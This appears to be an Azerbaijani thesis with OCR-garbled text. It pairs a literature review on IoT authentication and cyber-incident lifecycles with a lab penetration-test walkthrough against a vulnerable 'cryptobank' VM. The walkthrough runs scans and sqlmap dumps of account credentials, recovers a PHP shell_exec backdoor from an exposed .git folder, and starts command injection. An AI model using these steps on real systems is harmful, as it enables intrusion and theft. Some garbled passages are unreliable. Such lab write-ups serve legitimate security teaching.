Oyronmok 1{iclin mohdud resurslar1 olan cihazlardan istifado edon tohliikosizlik
metodlarinin totbiqi ilo baglt bir ne¢o todqiqat isi toklif edilmisdir. Masalon, fiziki
soviyysli identifikasiya, sistemin tohliikasizliyini va etibarli olagoni tomin etmak {iciin
rabito lizvlorini tosdigqloyon alici torafinds etibarli identifikasiyani tomin etmok iigiin
signal islonmasindan istifads edir. Bundan alava, anten ¢oxalma problemini hall etmok
liclin analoq molumatlarin effektiv kodlanmasina imkan veron miioyyon bir analog
xiisusiyyato malikdir (Musa, S., 2021). Bu niians unikal bir agar rolunu oynayur, ¢iinki
istehsal morhoalasinds prognozlasdirmaq vo ya nozarst etmok miimkiin deyil. Cihazin
identifikasiyas1 enerji xorclorini minimuma endirmok vo asyalarin mobil Internetinin
tohliikasizlik talabloring cavab vermak tigiin radio signallarini nozars alir.

Giris nazarati lot cihazlarinin osas texnologiyaya daxil ola bilmomasini tomin eds
bilar ki, bu da malumatlarin miixtalif tohliikasizlik zaifliklarinden qorunmasini tomin
edir. Girigo nozaratin 9sas maqsadi resurslara girisin effektiv monitoringi vo icazasiz
molumat axmindan qorunmagqdir. IoT miihitindo molumatlar davamli olaraq otiiriilo
bilor va insanlar vo obyektlor arasinda slage qura bilar. Iot domeni parol uygunlugu vo
qovsaq tutma hiicumlari da daxil olmagla miixtslif hiicumlara qars1 hassas oldugundan,
bu, asanligla avadanliglarin siradan ¢ixmasina sabab ola bilar.

Dogrulama va acar idaraetmd protokollar:

Bu, miiasir [oT miihitinds an vacib tohliikesizlik xidmotlorinden biridir.
Genislonan rabitoni tomin etmok {i¢lin malumatlarin maxfiliyi vo biitovliyli daxil
olmaqla bir sira toloblor dostoklonir. Acgar idaroetmo serverindo molumatlarin
sifrolonmasi prosesini asanlagdirmagq iigiin uygun mesaj format istifads olunur. "Agill
sohor" totbiglori, hossas molumatlar1 agar foblar adlanan yaddas ¢ipina ¢eviron etibarli

bir kiitlovi olago idaraetma organini iso salir. Masolon, iki sensor / cihaz agar foblarini
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ovvolcadon yiiklomok tigiin ciit acar konfiqurasiyasindan istifado edorok etibarli bir
olago qurmaga calisir.

Icazosiz istifadagilar liigatlora girmok vo sosial miihondislik hiicumlarini hoyata
kecirmok {clin xidmoto daxil ola bilorlor. Oksor todqigatgilar Tok faktorlu
autentifikasiya (SFA, Single-factor authentication) tohliikasizlik problemlorinin
qarsisin1 almaq tigiin agar kart, smartfon, birdofslik parol vo fotosokil giris kart1 kimi
mixtolif osas obyektlorin birlosmosindon istifado edorok gosdon iki faktorlu
identifikasiya (2FA, two-factor authentication) toklif etdilor. Bir neg¢o todgiqat¢i artan
tohliikosizlik soviyyasini tomin etmok iciin {i¢ faktorlu identifikasiya (3FA, three-
factor authentication) kimi taninan ¢ox faktorlu identifikasiya (MFA) toklif etdi.

MFA, SFA vo 2FA-nin istifadogilori davranis vo bioloji xiisusiyystlorine gors
taniyan biometrik molumatlarla birlogsmosino asaslanir. Noticodo, SFA, 2FA, 3FA va
MFA kimi strategiyalar agilli cihazlar vo digor slagali kompleks sistemlori icazasiz
girisdon qoruya bilor.

Son bir ne¢o onillikdo bir nego molum zororli hiicumlara garsi durmaq {i¢iin
mixtolif identifikasiya vo acar idaroetmo mexanizmlori  hazirlanmisdir.
Kriptosistemlorin tosnifatina osason identifikasiya sxemlori {i¢ nove boliiniir:
simmetrik acar kriptoqrafik sistemlor, asimmetrik acar kriptoqrafik mexanizmlor vo
tohliikosiz hash mexanizmlori kimi hibrid mexanizmlor. Bununla birlikds, ¢ox az
mexanizm Protokolun somaraliliyini artirmaq {i¢iin tohliikasiz hashing kimi hibrid bir
model istifads edir. Agilli soharlar tigiin etibarli va etibarli psevdoidentifikasiya asash
cihaz identifikasiyas1 toklif etdi. Onlarin isi mobil miistorilor vo Iot sliizii arasinda
tohliikasiz autentifikasiyadan istifade etmokdir. Tohliikasizlik va performans da daxil
olmagla etibarliliq vo somaraliliyi tomin etmok {i¢iin rosmi analizdon istifads edir.
Paylanmis miihitlorindo Iot effektiv cihazlar {iglin sadolosdirilmis identifikasiya
mexanizmi hazirlamisdir

Bu Protokolu hazirlayarkon, tosdiglonmis bir istifadoginin buluddan istonilon yers
biitiin xidmatlara daxil ola bilacayi bir identifikasiya prosesi ii¢lin agilli bir kart istifads
etdilor. Toklif olunan protokolun tohliikasizlik saviyyalarini tosdiglomok ti¢lin avispa

vo qadagan mantiqindon istifado edorak protokollarinin rosmi tohlilini apardilar.
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Ustoalik, qeyri-rasmi kriptanaliz protokollarnin miixtalif miimkiin tohliikosizlik
tohdidlorine garsi ¢ixa bilocoyini tosdiglodi. Eynila, "Agilli sohorlor"do Radio Tezliyi
Eynilosdirma (RFID, Radio Frequency ldentification) sistemlorindon istifade edorkon
tohliikosiz rabito tomin etmak {i¢iin bir ¢ox RFID osasli identifikasiya protokollari toklif
edilmisdir. Bununla birlikdo, RFID sistemlori enerji vo bant genisliyi kimi mohdud
hesablama monbaolorino malikdir. Aydindir ki, ononovi identifikasiya sistemi kiitlovi
olago {liciin uygun deyil. Noticods, mohdud resurslar vo tohliikasizlik zoifliklori kimi
osas amillori aradan qaldirmaq {giin tohliikkosiz hashing vo simmetrik sifrolomo
metodlarindan istifado edorok bir nego sadolosdirilmis identifikasiya sxemi toklif
edilmisdir(Louise Leenen and Thomas Meyer (2019)). Bununla birlikda, potensial
tohdidlarin garsisin1 almaga va sistemlorin asas talablarine cavab vermays imkan veran

bir ne¢a tohliikosizlik mexanizmi méveuddur.

Kritik infrastrukturlarin kiber-fiziki tahliikasizlik hayat dovrii modellari

Agilli kritik infrastrukturlar (mosslon, Smart Grids) torofindon tomin edilon
xidmaotlorin genis spektri molumati izlomak, paylagsmaq vo idaro etmok gabiliyystino
malik olan Kiber-Fiziki Sistemlordon (CPS- Cyber-Physical Security) ¢ox asilidir.
Digor torafdan, artan sayda kiberhiicumlar va tohliikasizlik pozuntulari bir ¢ox hallarda
kiberterrorizm formasina malik olan siiratlo genislonon kibertohdidlorin bir hissasidir.

Kiber-fiziki tohliikesizlik klassik bohran idaragiliyi baximindan tohlil edilo bilar.
Oslindo, kiber domendo insidentlorin idars edilmasi proseslorinin oksariyyati Sokil 2-
do tosvir olunan Informasiya Texnologiyalar1 Infrastruktur Kitabxanasi (ITIL,The
Information Technology Infrastructure Library,) modelini izlayir. O, insidentlorin
askar edilmasino, diagnostikasina (mosalon, tocaviizkarin istismar etdiyi istismarlarin
identifikasiyas1), masalon, proqram tominati zsifliyinin aradan qaldirilmasina diqgot

yetirir,
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Bununla bels, bu tip model adston bohrandan sonra dyronilon dorslorin elementi
kimi hoyata kecirilon davamli tokmillogdirmonin iterativ xarakterini diizgiin
gostormoyo  bilor (Michat Choras, Rafal Kozik (2016)). Buna goro do,
kibertohliikosizliyin hoyat dovrii modeli, kiber bohranin qarsisinin  alinmast,
askarlanmasi, reaksiya vermosi vo ondan qurtulmagin vo nohayat, tokrarlanmanin
garsisiin alinmasini miioyyon etmok iigiin nozordo tutulmus modeldir. Beloliklo, biz
asagidaki ii¢ morholodon ibarat olan Sokil 2.2.1.-do tosvir edilmis Kiber Hiicum Zaman

Qrafikini miioyyan eds bilorik:

’ . —
o “

Sok. 2.2.1. Kiber Hicum Zaman Qrafiki (Michat Chora$, Rafal Kozik (2016)).

Post-Crisis Pre-Crisis
Phase Phase
(Lessons Learnt) (Prevention and
Proactive Response,
Attack Detection)
Crisis Phase
inment and R:

Sok. 2.2.2. Kiber Hiicum Zaman Qrafiki (Michat Choras, Rafat Kozik (2016)).

° Bohrangabagi (Sabit Vaziyyat) marhals - bu morholads togkilat kritik
hadisoyo hazirlig1 artirarkon, biitiin xidmotlori adi gaydada tomin etmoyi
hodofloyir. Bu morhals {i¢iin toskilata risklorin gézlonilmasi vo proaktiv reaksiya

gostarmasing imkan veracok risklorin idars edilmasi prosesinin olmasi vacibdir.

° Tohliikonin saxlanmali vo sistemin borpa edilmali oldugu Bohran
morholasi.
Tohdidlorin tez bir zamanda aradan qaldirilmasi va tasirlorinin yumsaldilmasi

liclin yanagsmanin doyisdirilmasinin zoruri oldugu fovgslads haldir.
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° Bohrandan sonraki morholo. BOhran morholosinin  naticosi  olaraq
“Oyranilon

dors” golocokdo onun tosirini azaltmagq tigiin biitiin proseso oksini bildirmalidir.

11 FOSIL. NUFUZETM®O TESTI iLO BOSLUQLARIN ASKARLANMASI VO
KRITiK MOLUMATLARIN 9LDO EDiLMOSi

Niifuzetmo testlori ilo kritik informasiya strukturunda miixtalif konfidensial
molumatlarin oldo edilmosins fokuslanmig bir audit prosesi bas verir. Hall edocoyimiz

praktiki is, laboratoriya miihitindo niifuzetmo testi ilo hossas molumatlarin olde
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edilmosi ssenarisindon ibarotdir: miivafiq boslugdan istifado edorok bank miihitino
sizmaq, qarst torofdon gabig(shell) almaq vo sistemdo on yiiksok solahiyyatli

soxs(root)kimi ¢ixis etmok.

3.1 Zaif tasdiqlonmis giris panelino SQL Inyeksiya

Miixtolif bosluglar1 olan bu masini virtual miihito import etdikdon sonra , homin
masinin [P {invanii dyronmok lazimdir. Bu “netdiscover” amrindan istifads etmoklo
alda edils bilar.

“Netdiscover” - kompiiter sobokosindo hostlar1 vo xidmotlori tapmag ugun
istifado edilon soboks skan alotidir. O, ARP (Address Resolution Protocol) sorgulari
gondorir vo sobokoyo qosulmus cihazlarin xoritasini ¢ixarmagq li¢lin cavablar1 dinloyir.
Netdiscover yerli sobokoalords cihazlar1 vo onlarin IP iinvanlarini miioyyon etmok ti¢lin

xtsusils faydalidir.

° netdiscover

root@Kali: fhomefkali

File Actions Edit View Help

Currently scanning: 192.168.19.0/16 | Screen View: Unigue Hosts

26 Captured ARP Req/Rep packets, from 16 hosts.

At MAC A Count

tific Industri
tific Indust

ientific Industri

o
b
e
d
6 cientific Indust

1 61 .186 04 143:e6:06

e _
Sok. 3.1.1. Virtual masinim IP {invanmn 8yranilmoasi (Aytac Ibrahimova, 2024)

Goriindiiyii kimi masmm IP iinvani1 192.168.37.111 kimidir. Bu masin1 virtual
miihito import etdiyimiz {igtin MAC Vendor/Hostname VMWare kimi geyd olunur.

Sobaka kasfindon sonra virtual masinda isloyon xidmatlor hagqinda molumat alds
etmak {iclin bizo nmap taramasi lazimdir.

“Nmap” — Network Mapper, soboko kosfiyyat1 vo tohliikosizlik auditi iigiin

istifado edilon giiclii agiq monbali vasitadir. O, kompiiter sobokasinda hostlar1 va
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xidmotlori agkar etmok, habelo sobokonin xoritosini yaratmaq ii¢iin nozordo tutulub.
Nmap hodof sobokoyo paketlor gondormoklo vo sonra hansi hostlarin méveud
oldugunu, hans1 xidmatlarin isladiyini, hans1 amaliyyat sistemlorinin istifads edildiyini
vo hansi nov firewall vo ya digor tohliikesizlik mexanizmlorinin mévcud oldugunu
miioyyan etmak ii¢lin aldig1 cavablari tohlil etmakls foaliyyat gostorir.

Nmap skani ilo , agiq portlarin, onlarin islodiyi servislorin vo bu servislorin

versiyalarinin miioyyon edok.

° nmap —sV 192.168.37.11

- root@Kali: /home/kali
File Actions Edit View Help

root@Kali: /home/kali X root@Kali: /home/kali X

/home/kali

v 192.168.37.111
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-11 09:16 EDT
Stats: 0:00:07 elapsed; @ hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 09:16 (0:00:06 remaining)
Nmap scan report for 192.168.37.111
Host is up (0.00026s latency).
Not shown: 998 closed tcpn norts (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu®.3 (Ubuntu Linux; protocol 2.0)
80/tco open htto Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 00:0C:29:74:B9:C0 (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds

Sok. 3.1.2. A¢iq portlarin miioyyan olunmasi (Aytac ibrahimova, 2024)

Sado bir nmap skani totbigdo 2 xidmatin islodiyini hom¢inin bu portlarin agiq

oldugunu gostorir: SSH (22) vo HTTP (80).
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Sok. 3.1.3. HTTP(80) portunda ¢alisan veb sahifa (Aytac Ibrahimova, 2024)

Virtual masinda HTTP xidmati islodiyi ti¢iin yerlosdirilon veb sohifoya nozor
salaq. Bu veb saytin bir Kriptovalyuta magazi va ticarati ilo masgul olan bir bank
sistemi kimi gorarik.

Veb sohifonin yuxari sag torofinds Tohliikosiz Girig diiymasi var. Bu nazordo

tutdugumuz kimi islomadi. O, http://cryptobank.local/trade- o daxil olmaga galigirdi.

Bu o demokdir ki, /etc/hosts-da bazi doyisikliklor etmoaliyik. Bu fayl host adlarinin yerli
sistemda IP tinvanlarina uygunlasdirilmasina imkan verir. Yani, /etc/hosts faylina bu
domenin adi1 vo ip linvani olavo olunmalidir. Veb saytda asagiya dogru horokat edib,
miixtolif kecidlori yoxlayarag CORE TEAM bdlmosino kegid aliriq. Burada bozi

iscilorin adlari, sosial alagoalori, mail invanlar1 va s. geyd olunub.

Sok. 3.1.4. OSINT - horkasa al¢atan molumatlarin olda edilmosi (Aytac Ibrahimova,
2024)


http://cryptobank.local/trade-
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Iscinin Profil molumatlar1 hissesinda E-pogt Isarasine klikladikdo, onun isginin
ad1 ilo olagoli sohifonin yerine daxil olmaga ¢alisdigini goriiriik. Bunlar potensial
istifadogi adlari ola bilor. William.d , Julius.b(developer) va s.

Veb sayt HTTP(80) portunda c¢alisdigr iiglin , burda gizli fayllarin oldugunu
diisiiniib , directory enumeration etmok lazimdir. Gizli fayllar1 tapmagq tigiin “dirb” ,
“dirsearch” , “gobuster” , “amass” kimi toollardan istifado etmok miimkiindiir. Biz,
“dirsearch” istifado edocoyik.

“Dirsearch” - veb serverdo gizli qovluqglar1 vo fayllar1 tapmagq ti¢ciin istifado edilon
moshur veb kataloq skan alstidir. O, HTTP sorgularini hadof veb servera gondormoklo
vo veb-saytin asas sohifolorindon birbasa slagosi olmayan hor hansi kataloq vo ya

fayllart miiayyan etmak {i¢iin cavablari tohlil etmakls islayir.

° dirsearch —u http://192.168.37.111/ -e php, txt, js, html, xml, log —t 10

—w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --random-

agent

Dirsearch-don istifado edorok hodof URL-ni (http://192.168.37.111/) xususi
genislondirmalori olan qovluglar va fayllar (php, txt, js, html, xml, log) tglin skan

etmaya c¢alisirig.

/home/kali
] < http://192.168.37.111 e php,txt,js,html,xml,log -t 10 /usr/share/wordlists/dirbuster/directory-list-2.3-medi
um.txt -—-r .
/usr/1ib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://set
uptools.pypa.io/en/latest/pkg_resources.html

from pkg_resources import DistributionNotFound, VersionConflict

Extensions: HTTP method: Threads: Wordlist size:
Output File: /home/kali/reports/http_192.168.37.111/_ 24-05-11_09-21-21.txt

Target:

- http://192.168.37.111/assets/

— http://192.168.37.111/trade/

Sok. 3.1.5. Gizli qovluglarin agkarlanmasi (Aytac ibrahimova, 2024)

Bozi maraql directory-i (gizli qovluqlart) goriiriik. /trade , /development.

Development directory-o daxil oldugda , bels bir sign in pancarasi agilir.
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Ik agila golon, saytda rastlasdigimiz istifadogi adlarmi yoxlamaqdir. William.d,
Julius.b vo s. Manual yoxlama he¢ bir notico vermodi. Username vo password
parametrlorino standart(default) istifado¢i molumatlarini daxil edib, SQL inyeksiya

yoxlaya bilorik.

*» Mozilla Firefox
(5] - New Tab X R
X @ Q 192.168.37.111/development L7
@ image.jpg Kali Linux & Kali Tools < KaliDocs N KaliForums N Kali NetHunter Exploit-DB Google Hacking DB OffSec
@ 192.168.37.111
This site is asking you to sign in.

Username

I

Password

Cancel m
Sok. 3.1.6. Sign in poncorasi (Aytac ibrahimova, 2024)

Username vo password parametrlorino standart(default) istifadoc¢i molumatlarini
daxil edib, SQL inyeksiya yoxlaya bilorik. SQL yoxlamaq li¢lin , sorgunu Burp
Suite(Burp Suite veb totbiqi tohliikasizlik testi vo niifuz testi iiglin istifado olunan
aparict kibertohliikosizlik alotidir) — do tutariq vo homin sorgunu bir trade sql.txt

faylina alava edorik.

° sglmap - r trade_sql.txt --dbs

root@Kali: /home/kali
File Actions Edit View Help

root@Kali: /nome/kali x root@Kali: ~/dirsearch x root@Kali: /home/kali x
/home/kali
rade_sql.txt

ple .
lySQL > 5.0.12 AND t: ed bli d (q ry SLEEP) njectable

Sek 3.1.7. SQL InyekSIya (Aytac Ibrahlmova 2024)
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=] root@Kali: f/home/kali
File Actions Edit View Help

root@Kali: /home/kali x root@Kali: ~/dirsearch X root@Kali: fhome/kali x

INFO] target URL appears to be UNION injectable with 4 columns
| ) ] [INFO] (custom) POST parameter '#1%' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
custom) POST parameter '#1%' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
1 [w ] (custom) POST parameter '#2*' does not appear to be dynamic
1 WARNING] heuristic (basic) test shows that (custom) POST parameter '#2*' might not be injectable
testing for SQL injection on (custom) POST parameter '# ]
testing 'AND boolean-based blind - WHERE or HAVING cla 3
testing ' ole blir - Parameter repla (or 1 value)
testing 'Generic inline queries’
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to r
educe the number of requests? [Y/n] Y
][I ] testing 'Generic UNION query (NULL) - 1 to 1@ columns’
iG] (custom) POST parameter '#2*' does not seem to be injectable
sglmap identified the following injection point(s) with a total of 79 HTTP(s) requests:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL = 5.@0.12 AND time-based blind (query SLEEP)
Payload: use AND (SELECT 5598 FROM (SELECT(SLEEP(5)))YPlk) AND 'pgix %8 &login=Login

Type: UNION query
Title: Gener UNION query (NULL) - 4 columns
Payload: use UNION ALL SELECT NULL,CONCAT(@x7162767071,0x594e564272754d4b6f504a785177636C4268574c745a515842597a674d4e6d544644
6a5a436d5978,0x716b627171) ,NULL ,NULL— -&pass=&login=Login
[1 ] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL = 5.0.12
I 1 TINFO] fetchine database names
available databases [5]:
[*] cryptobank
[*] information_schema
[*] mysqgl
[*] performance_schema
[*] sys

[ 10 FO] fetched data logged to text files under '/root/.loca /output/

[*] ending @ 10:05:43 /2024-05-11/

Sok. 3.1.8. SQL inyeksiya ilo ¢ixarilan verilonlar bazalar1 (Aytac Ibrahimova, 2024)

Bu, Time Based SQL inyeksiyasi idi; buna gora do molumatlarin ¢ixarilmasi liglin
miioyyan vaxt tolob olunur. Notico olaraq bizo 5 verilonlor bazast verdi. Onlarin
arasinda kriptobank verilonlor bazas1 énomli gériiniir. indi hadoflomak istadiyimiz bir
molumat bazasi var. Yenidon sqlmap-1 iso salaq. Bu dofo hodof verilonlor bazasini
gostormok tiglin “-D” se¢imindon vo homin verilonlor bazasi daxilindoki codvallori
¢ixarmagq iigiin “--tables” parametrini yazacagiq.

° sqlmap -r trade_sgl.txt -D cryptobank --tables

/home/kali
trade_sql.txt

from 't txt’
POST body. Do you want to process it? [Y/n/q] Y
5 *mysql

0] tes on to the target URL
rect to ° 192.168.37.111/trade/index.php’. Do you want to follow? [Y/n] Y
iginal POST data to a new location? [Y/n] Y

AND 'pgix’-'pgixepas

Sak. 3.1.9vaﬁq verilonlar bazasia aid codvallor (Aytac Ibrahimova, 2024)
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Sqlmap bizo 3 codval verdi: “accounts”, “comments”, “loans” . Bunlar arasinda

tobii ki, “acoounts” codvali daha maraqli goriiniir. Ona gora accounts codvalini dump

edirik.
° sqlmap -r trade_sql.txt -D cryptobank -T accounts -- dump -- batch

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: user=' UNION ALL SELECT NULL,CONCAT(0x7162767071,0x594e564272754d4b6f504a785177636Cc4268574Cc745a515842597a674d4e6d5446
6a5a436d5978,0x716b627171) ,NULL ,NULL-- -&pass=&login=Login
[1 1 1 [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL = 5.0.12
[1 [T ] fetching columns for table 'accounts' in database '
[ INFO] fetching entries for table 'accounts' in database
Database: cryptobank
Table: accounts
[12 entries]
| id_account
+

balance | password | username
87549
34421
26321
1375

+
|

+

| gFG7pqEScn | williamdelisle
|

|

|

| 434455

|

|

|

|

|

|

|

+

wIWm4CgVv26 | juliusthedeveloper

3Nrc2FYJMe | bill.w

NgRF4WS f | johndl133t
mrbitcoin

8531 spongebob

733456 | dreadpirateroberts

2886

857

1

777

| buzzlightyear
zm2gBcaxd3 | tim
x8CRvHqg | patric
8hPx2Zqg | notanirsagent

RPREOONOOEWNR

|
|
|
|
|
1
I
4324 | | deadbeef
|
|
|
1

Sok. 3.1.10. Cadvaldon istifadagi melumatlarinin ¢ixarilmas: (Aytac Ibrahimova,
2024)

Cadvallari ¢ixardigdan sonra , burdaki hesablarin istifadog¢i adlar1 vo sifrolorini,
homg¢inin balanslarinda no godor mablag oldugunu goriiriik.

OSINT vasitosilo saytda , julius adinda tortibat¢i(developer) oldugunu
gormiisdiik. Indi isa , sqlmap noticosine asason goriiriik ki, accounts cadvalinda , bu
developerin ad1 vo sifrosi var. Homginin Directory enumeration vasitosi ilo tapdigimiz
/trade directorysindaki, sign in pancarasini xatirlayaq. Tertibatginin (developerin)

istifadogi molumatlarini yazib daxil olmaga calisagq.
° Username: juliusthedeveleoper

° Password: wJWm4CgV26

root@Kau: Mome/ikai

Trading Platform

Welcome, juliusthedeveloper

Services

IIIIIIIIIIIIIIIIIIIIIIIIIII
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Sok. 3.1.11. Hossas istifadoci molumati ilo istifadoci hesabina daxil olunmasi
(Aytac Ibrahimova, 2024)

Sokildon do goriindiiyii kimi, time based sql inyeksiya komoyi ilo Julius - un
hesabina daxil ola bildik. Ki , burada , pul transferi etmak , balans1 yoxlamagq, kredit
miiracioti etmok vo s. kimi sec¢imlor var. Pul transferi vasitosilo istonilon
kriptopulgabiya pul transferi eds vo ya tamamils hesab1 0-a bilarik. Lakin, bizim igimiz
bununla yekunlagmir, daha da iroli getmok vo sistemdo yiiksok imtiyazli istifadogi
rolunu olds etmoya calisirq.

Son directory /development tapdigimiz {icliin , bu qovlugun alt kataloglarim

axtarag.

° dirsearch —u http://192.168.37.111/development -e php, txt, js, html,

xml, log -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-

medium.txt --random-agent

/home/kali
ttp://192.168.37.111/development php, txt,js,html,xml,log -t 10 - /usr/share/wordlists/dirbuster/directory-list-2.3-medium. tx

t=r i
[usr/1ib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/
en/latest/pkg_resources.html

from pkg_resources import DistributionNotFound, VersionConflict

Extensions: HTTP method: Threads: Wordlist size:
Output File: /home/kali/reports/http_192.168.37.111/_development_24-05-11_09-39-38.txt
Target:

[09:39:38] Starting: development/

- http://192.168.37.111/development/backups/

Sok. 3.1.12. Gizli qovluglarin askarlanmasi (Aytac Ibrahimova, 2024)

Development directory -da, backups adli gizli qovlugunu da goriiriik. Miivafiq
olarag backups -a daxil oluruq. Bu qovlugun igarisindo fordi kompiiterlordo vo ya
serverlords olan miithiim fayllarin, sonadlorin vo ya sistem konfiqurasiyalarinin

stiratlori, veb saytin fayllarinin, verilonlor bazalariin vo konfiqurasiya parametrlorinin
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suratlori saxlanila bilor. Buna goro backups directorysini axtarmaq bizim iigiin daha

maragqli olar.

®  Index of /development/back X  +

&« C @ O & 192.168.37.111/development/backups/ w

@ image.jpg Kali Linux #8 KaliTools < KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB 0]

Index of /development/backups

Name Last modified Size Description

3 Parent Directory %
(3 home/ 2020-04-11 15:39 -

Apache/2.4.29 (Ubuntu) Server at 192.168.37.111 Port 80

Sok. 3.1.13. Backups Directorys-i (Aytac ibrahimova, 2024)

Daha dorina getmok ti¢iin bu dofs /backups/home/ qovluguna Brute Force edirik.

~/dirsearch
192.168.37.111/development/backups/h
/usr/lib/python3/dist-packages/dirsearch/dirsearc : DeprecationWarning: pkg resources is deprecated as an
API. See https://setuptools.pyp /en/1a rces.html
from pkg_resources import DistributionNotFound, VersionConflict

nsions: HTTP method: Threads: wordlist size:

Output File: /root/dirsearch/reports/_192.168.37.111/_development_backups_home_ 24-05-11_09-53-15.txt

ackups/home/

=> http://192.168.37.111/development/backups/home/.gi

— http://192.168.37.111/development/
me/.git/logs/refs/heads/

— http://192.168.37.111/development/backup

s/home/.git/logs/refs/

Sok. 3.1.14. Git govlugunun ﬁaan olunmasi (Aytac Ibrahimova, 2024)

] Index of /development/back: < +

— C @ O & 192.168.37.111/development/backups/| e/.git Pk d (]

@ image.jpg Kali Linux # Kali Tools <« KaliDocs X Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Index of /development/backups/home/.git

Name Last modified Size Description

43 Parent Directory -
[ COMMIT _EDITMSG 2020-04-11 21:17 157

[31 HEAD 2020-04-11 21:13 23
3 branches/ 2020-04-11 21:13 -
[#] config 2020-04-11 21:16 153
[#) description 2020-04-11 21:13 73
©3 hooks/ 2020-04-11 21:13 -
[ index 2020-04-11 21:16 21K
E3info/ 2020-04-11 21:13 -
3 logs/ 2020-04-11 21:17

Z3 objects/ 2020-04-11 21:

Sok. 3.1.15. Backups/hofne/.git directory-i (Aytac ibrahimova, 2024)
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Biz /backups/home/ qovlugunda bozi gizli qovluglari tapiriq. ©On 6nomlisi
burada /.git/ var. Bu o demokdir ki, developer Git-don istifado edib. Bu faylin no iso
yaradigini bilmok vo basa diismok {iciin sadoco GitHub-dan Git hacki klonlayib
yiikloyok vo python faylina diizgiin icra icazalori verok. Alsti asagidaki sokildo
gostarildiyi parametr kimi .git kataloqu ilo islodok.

# git clone https://github.com/lijiejie/GitHack.git
Cloning into "GitHack"® ...
remote: Enumerating objects: &, done.
remote: Counting objects: 180% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 34 (delta @), reused @ (delta @), pack-reused 30
Receiving objects: 100% (34/34), 11.84 KiB | 2.76 MiB/s, done.
Resolwing deltas: 1ee% (7/7), done.

# cd GitHack/

= # 1s
Git_Hack.py README . md
= # chmod 777 GitHack.py
# python GitHack.py http://cryptobank.local/development/backups/home/.git/
[+] Download and parse index file ...
.gitattributes

assetsfcssfanimate.min.css
assets/css/animation.css
assets/css/bootstrap.min.css
assets/css/font-awesome.min.css
assets/css/material-design-iconic-font.min.css
assets/css/owl.carousel.min.css
assets/css/responsive.css
assets/css/slicknav.min.css
assets/fonts/FontAwesome.otf
assets/fonts/Material-Design-Iconic-Font.
assets/fonts/Material-Design-Iconic-Font.
assets/fonts/Material-Design-Iconic-Font.
assets/fonts/Material-Design-Iconic-Font.
assets/fonts/Material-Design-Iconic-Font.

Sok. 3.1.16. Git qovlugunun yiiklonmasi (Aytac Ibrahimova, 2024)

Sonra domen adina uygun kataloq yaradilir, kriptobank.local/.

# cd cryptobank.local/
= # 1s
closed.html dev-notes.txt index.html index.js ninjacheck.php
= # cd development/
# 1s

# cd tools/
# 1s
homepage.html index.php
# cd CommandExecution/
z # 1s
commandexec.html CommandExec.php
I # cat CommandExec.php
<html>
<head>

<title>CommandExec-1</title>
</ head>
<body>
<div style="background-color:#afafaf;padding:15px;border-radius:20px 20px @px @px">
<button type="button® name="homeButton” onclick="location.href=" .. /homepage.html’'; ">Home Page</button
<button type="button” name="mainButton” onclick="location.href="commandexec.html'; ">Main Page</button
</ div>
<div style="background-color:#c9c9c9;padding:20px; ">
<hl align="center”">Auth to execute system command</hil>
<form align="center” action="CommandExec.php™ method="%_GET">
<label align="center">Username:</Label><br>
<input align="center” type="text" name="username” walue=""><br>
<label>Password:</label><br>
<input align="center"™ type="password" name="password® walue=""><br>
<input align="center" type="submit®" wvalue="Submit">

</ form>
</div>
<div style="background-color:#ecf2d@;padding:20px;border-radius:@px @px 2@0px 20px" align="center":>
<?Zphp
iF(isset($_GET['username"])){
//echo shell_exec(%$_G '
if($_GET["password"] =
echo shell exec($ _GETL[ “username-]JJ;

Sok. 3.1.17. Php fayl kontentinin oxunulmasi (Aytac ibrahimova, 2024)
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Biz nozor salib goririik ki, bir alot kataloqu var vo onun igorisindo
CommandExecution adl1 bir kataloq da var. Olava olaraq arasdirmaga dayar bir. php
faylinin oldugunu goriiriik. Daha yaxindan baxdigdan sonra omrin icrasi ilo alaqoli bir
parol oldugunu goririk. Bu wJWm4CgV26-dir. Bizim smadigimiz julius
istifadogisinin parolu ilo eynidir. Kod pargasinda bizo deyir ki, ogor username

doludursa, sifro wWJWm4CgV26 — a barabardirsa shell - 1 icra et.

« > C o O & 192.168.37.111/development/tools/CommandExecution/commande w & 51 =

@ image.jpg Kali Linux # Kali Tools <« KaliDocs X Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Command Execution

Home

Run system command \

Sok. 3.1.18. Command Execution poncorasi (Aytac ibrahimova, 2024)

3.2 Komanda inyeksiyadan istifads edarak sistemda seans alds edilmasi

Hor hansi bir tadbir gormozdon avval bu metodun diizgiin isladiyini vo ya
1slomadiyini yoxlamaq lazimdir. Beloliklo, istifadaci adi sahasine amri vo parol

sahasing parol daxil edirik.

Auth to execute system co

Username:
whoami
Password:

Submit

www-data
Sok. 3.2.1. Zararli komand omrinin icras1 (Aytac Ibrahimova, 2024)
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Komanda inyeksiyasi isloyir. Bu zoiflikdon istifado etmok vo 6zilimiizo bir seans
